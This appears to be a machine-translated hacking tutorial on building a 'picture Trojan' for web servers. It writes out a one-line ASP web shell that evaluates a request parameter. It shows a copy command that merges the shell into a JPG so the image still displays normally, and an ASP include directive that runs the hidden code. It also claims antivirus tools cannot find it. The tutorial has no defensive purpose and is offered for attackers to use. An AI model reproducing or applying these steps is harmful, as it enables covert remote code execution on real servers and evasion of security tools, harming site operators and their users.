Main highlights: Picture Trojan (can open the display of the Trojan) first look at the code:
Just a few steps: Picture and a word trojan merge, make the picture Trojan that can display normally.
1. Find a picture, change the name to 1.jpg
2, <%eval request ("a")%> Save As 1.asp (is a word trojan)
3, copy 1.jpg/b + 1.asp/a asp.jpg Save as 1.bat file Note: The above three files in the same directory copy the current directory of 1.jpg pictures and the current directory of 1.asp files and in the form of ASCII code merged into Asp.jpg picture, run 1.bat, will appear a picture asp.jpg, now this asp.jpg is already good Trojan. This picture is very normal appearance, with thumbnails also can not see any flaws, but very dangerous, people are impossible to guard against. How to use: Create a new asp.asp content: <!– #include file= "asp.jpg" –> put Asp.jpg and asp.asp in the same directory, then access: asp.asp in this way, any antivirus is not found
Picture Trojan production